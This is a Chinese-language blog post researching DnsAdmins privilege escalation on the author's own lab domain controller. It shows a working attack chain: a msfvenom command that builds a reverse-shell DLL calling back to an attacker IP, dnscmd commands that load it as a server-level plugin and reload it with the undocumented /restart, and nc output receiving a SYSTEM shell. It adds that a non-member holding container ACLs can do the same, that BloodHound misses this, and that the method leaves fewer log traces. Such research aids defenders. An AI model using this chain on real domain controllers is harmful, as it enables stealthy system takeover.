本文所使用环境
这篇环境当中,我使用的是我自建靶机bicker,其中tindalos就是dnsadmin组
本文阅读前置介绍
dnsadmin作为域渗透中的一个常见提权思路,网上的文章已经有很多了,但是普遍是你抄我我抄你,大部分都是一个模板套出来的,其原因也很简单,最容易枚举到的是nairuzabulhul的这篇博客,而那些“一般文章”普遍都是刻着它的模板,按照他们的解释来看,只要是dnsadmin组就允许执行以下操作进行提权
- 利用dnscmd.exe给dns的组件serverlevelplugindll注册恶意后门dll
- 监听shell
- 利用sc.exe重启服务,在服务重启的时候dns会加载恶意dll并回弹system权限shell
当然,在准备详细研究之前我也是这么觉得的,但是当我们真正配置了一个dnsadmin组则会发现dnsadmin组其实默认并不具备重启服务的权限
evil-winrm-py PS C:\Users\tindalos\Documents> whoami /all
用户信息
----------------
用户名 SID
=============== ============================================
bicker\tindalos S-1-5-21-298176814-2846777796-698167141-1103
组信息
-----------------
组名 类型 SID 属性
=========================================== ====== ============================================ ======================================
Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组
BUILTIN\Remote Desktop Users 别名 S-1-5-32-555 必需的组, 启用于默认, 启用的组
BUILTIN\Remote Management Users 别名 S-1-5-32-580 必需的组, 启用于默认, 启用的组
BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组
BUILTIN\Pre-Windows 2000 Compatible Access 别名 S-1-5-32-554 必需的组, 启用于默认, 启用的组
NT AUTHORITY\NETWORK 已知组 S-1-5-2 必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组
BICKER\DnsAdmins 别名 S-1-5-21-298176814-2846777796-698167141-1101 必需的组, 启用于默认, 启用的组, 本地组
NT AUTHORITY\NTLM Authentication 已知组 S-1-5-64-10 必需的组, 启用于默认, 启用的组
Mandatory Label\Medium Plus Mandatory Level 标签 S-1-16-8448
特权信息
----------------------
特权名 描述 状态
============================= ================ ======
SeMachineAccountPrivilege 将工作站添加到域 已启用
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已启用
用户声明信息
-----------------------
用户声明未知。
已在此设备上禁用对动态访问控制的 Kerberos 支持。
evil-winrm-py PS C:\Users\tindalos\Documents> sc.exe stop dns
[SC] OpenService 失败 5:
拒绝访问。
evil-winrm-py PS C:\Users\tindalos\Documents>
这意味着如果进入实战环境或者远程靶机环境,没有配置服务管理权限的dnsadmin将很难利用(无重启特权)
dnsadmin热重载
为了找寻如何在仅仅使用dnsadmin组权限进行服务重启类似效果时,我查看了MS-DNSP的文档,我查找到了这一行
§If pszOperation is Restart, the server MUST restart the DNS server, and return success.
文档中显示的结果就是服务器在R_DnssrvOperation中接受的命令有restart这个值,也意味着确实存在重启选项
于是我查看dnscmddnscmd的文档,但是当我搜索restart的时候一无所获,走头无路的我找到了Yuval Gordon的文章(事实上后续的研究我参考了他很多,感谢前人),发现他找到了dnscmd存在/restart参数,当我尝试后,它真的成功了
#这里我使用的rev.dll为:msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.174.129 LPORT=443 -f dll -o rev.dll
evil-winrm-py PS C:\users\tindalos> dnscmd.exe /config /serverlevelplugindll C:\wirteTEMP\rev.dll
注册属性 serverlevelplugindll 成功重置。
命令成功完成。
evil-winrm-py PS C:\users\tindalos> dnscmd.exe /restart
. 已成功完成。
命令成功完成。
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.174.129] from (UNKNOWN) [192.168.174.143] 54728
Microsoft Windows [°汾 10.0.20348.169]
(c) Microsoft Corporation¡£±£´̹ԐȨ{¡£
C:\Windows\system32>
这令我有点意外,因为我不理解为何它能重启服务,并且它并不在微软的文档当中,于是我对dnsadmin以及dnscmd的使用进行了研究
这种不利用sc执行的攻击类似于热重载,其本质上与服务重启的含义并不同,导致的效果也并不同,如果你对这块内容感兴趣,可以跳到本文章的 /restart优点和缺点
dnsadmin组权限解析及结论
我们登陆环境当中的域管理并筛选dnsadmin对MicrosoftDNS容器的控制权限可以看到基本上就是通用all权限
dsacls "CN=MicrosoftDNS,CN=System,DC=bicker,DC=com"
允许 BICKER\DnsAdmins 特殊访问
DELETE
READ PERMISSONS
WRITE PERMISSIONS
CHANGE OWNERSHIP
CREATE CHILD
DELETE CHILD
LIST CONTENTS
WRITE SELF
WRITE PROPERTY
READ PROPERTY
DELETE TREE
CONTROL ACCESS
我们尝试创建一个域用户且添加远程管理和对MicrosoftDNS的通用写入和读取
evil-winrm-py PS C:\Users\Administrator\Documents> New-ADUser -Name "dns-test" -SamAccountName "dns-test" -AccountPassword (ConvertTo-S
ecureString "P@ssw0rd!" -AsPlainText -Force) -Enabled $true
evil-winrm-py PS C:\Users\Administrator\Documents> Add-ADGroupMember -Identity "Remote Management Users" -Members "dns-test"
evil-winrm-py PS C:\Users\Administrator\Documents> dsacls "CN=MicrosoftDNS,CN=System,DC=bicker,DC=com" /G "BICKER\dns-test:GRGW"
修改完毕后列出,可以看到dns-test用户并没有完全添加通用写入和通用读取,这可能是因为AD 对象类型限制,毕竟MicrosoftDNS本质上属于容器,域环境应该会阻止对其写入通用写入权限(这是我的猜测,其并不准确,我会在后续有时间的时候继续探讨这个问题)
允许 BICKER\dns-test 特殊访问
READ PERMISSIONS #通用读取
LIST CONTENTS #列出内容
WRITE SELF #写入自身
WRITE PROPERTY #属性写入
READ PROPERTY #属性读取
LIST OBJECT #列出对象
当我们登陆这个用户并尝试执行和之前tindalos用户(属于dnsadmin组)通用的加载权限的时候,令我惊讶的事情发生了,这个不在dnsadmin组当中的用户毫无阻碍的将system权限shell弹了回来
evil-winrm-py PS C:\users\dns-test> dnscmd.exe /config /serverlevelplugindll C:\wirteTEMP\rev.dll
注册属性 serverlevelplugindll 成功重置。
命令成功完成。
evil-winrm-py PS C:\users\dns-test> dnscmd.exe /restart
. 已成功完成。
命令成功完成。
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.174.129] from (UNKNOWN) [192.168.174.143] 55669
Microsoft Windows [°汾 10.0.20348.169]
(c) Microsoft Corporation¡£±£´̹ԐȨ{¡£
C:\Windows\system32>
所以这里我意识到,只要我们对dns容器存在读取写入权限,我们就能利用热重载进行攻击
于是我又测试了仅仅给dns-test给予属性读写,看他能否操作热重载
允许 BICKER\dns-test 特殊访问
WRITE PROPERTY #属性写入
READ PROPERTY #属性读取
evil-winrm-py PS C:\wirteTEMP> dnscmd.exe /config /serverlevelplugindll C:\wirteTEMP\rev.dll
DNS 服务器未能重置注册属性。
状态 = 5 (0x00000005)
命令失败: ERROR_ACCESS_DENIED 5 0x5
失败是正常的,单一的属性读取并不足以dnscmd进行认证
所以现在可以给出现阶段的研究结论了:
执行热重载dns劫持并不一定需要成为dnsadmin组,而只需要对MicrosoftDNS容器的通用读取权限以及写入属性权限(Yuval Gordon文章指出需要通用写入以及通用读取,在以上的测试中我发现通用写入并不一定需要且配置起来比较困难,所以读取属性权限就够了),以及对dc的rpc访问权限即可(域用户即可)
攻击路径检测难度
那么这种不再dnsadmin组中却对dns容器存在acl的情况是否容易检测呢?
通过猎犬,我们可以看到用户没有出站,针对性查找也无法查找,这很正常
猎犬只抓取
用户(User)
组(Group)
计算机(Computer)
OU(组织单位)
域(Domain)
GPO(组策略对象)
而MicrosoftDNS属于system容器,容器(Container)默认是不会被抓取的,因为它不是常规的 OU 或对象类型,正常的hound只扫描标准AD-ACL。
但是powerview的高危筛选就能清晰的筛选出来
evil-winrm-py PS C:\wirteTEMP>. .\PowerView.ps1
evil-winrm-py PS C:\wirteTEMP> Find-InterestingDomainAcl -ResolveGUIDs
ObjectDN : CN=MicrosoftDNS,CN=System,DC=bicker,DC=com
AceQualifier : AccessAllowed
ActiveDirectoryRights : Self, WriteProperty, GenericRead
ObjectAceType : None
AceFlags : None
AceType : AccessAllowed
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-298176814-2846777796-698167141-3601
IdentityReferenceName : dns-test
IdentityReferenceDomain : bicker.com
IdentityReferenceDN : CN=dns-test,CN=Users,DC=bicker,DC=com
IdentityReferenceClass : user
所以在这种情况下只能利用利用rast模块本地枚举或者powerview
/restart优点和缺点
当我们利用热重载进行攻击过后,查看dns的日志文件,发现仅存在事件
事件ID770(已加载服务器级插件 DLL)事件ID140,而正常的服务重启会产生7035(服务重启),7036(服务状态更改)等事件,这些事件无一例外的都会产生大量“噪音”
为何利用/restart操作会这样呢,其实问题藏在事件ID140报错当中(rpc终结点重复)
DNS管理面是通过RPC终结点对外提供接口的。一个服务在对外“开门”前,会先注销旧终结点,再注册新终结点,无论是正常重启还是内部重载,代码层面都去调了“注销终结点”的同一个 API,但这个注销动作失败了,可以这么理解
- 正常重启:原理是服务进程会退出,重新启动一个新进程,在退出进程前服务注销失败,但进程马上退出。进程一退出,RPC运行时会自动清理它的终结点注册,所以不会留下脏状态;新进程再起来,顺利注册,没有后续错误。
- 内部重载(/Restart):同一个进程里调用内部函数reloadShutdown,把组件“关—再开”,不退出进程。类似“热重载”但是进程并未重启。所以注销失败后,旧的终结点还挂着;接着重载流程又去注册相同的终结点,于是 RPC 端点映射器发现“这玩意儿已经有了”,报 140事件错误
从这件事件可以看出热重载和服务重启的区别
-
服务重启会产生大量日志报告,且需要服务重启权限,一般需要域管理或者server2019前存在的默认组服务操作员等权限,或者更彻底一点,直接等待机器重启,但是重启后并不会导致dns管理平台失控,还是正常允许我们撤销dll痕迹清楚
-
热重载“噪音小”且只需要dnsadmin或者容器读写权限即可单独操作,但是会导致140错误,在机器下次重启之前dns管理平台会死机,这个进程将不再允许dns管理控制台的介入,dnscmd也无法进行下一步工作
感谢
本拙略冗长的文章就到此结束了,在这次研究中我还是有很多底层或者权限理解并未搞清楚,会在之后继续学习,并分享出来,感谢以下文章以及人员的帮助
Yuval Gordon的文章是我这篇文章的基础
感谢IPv32 乔.九九.☆.0/24的帮助,这篇文章的由来也是因为他对我的靶机产生了非预期解(笑哭)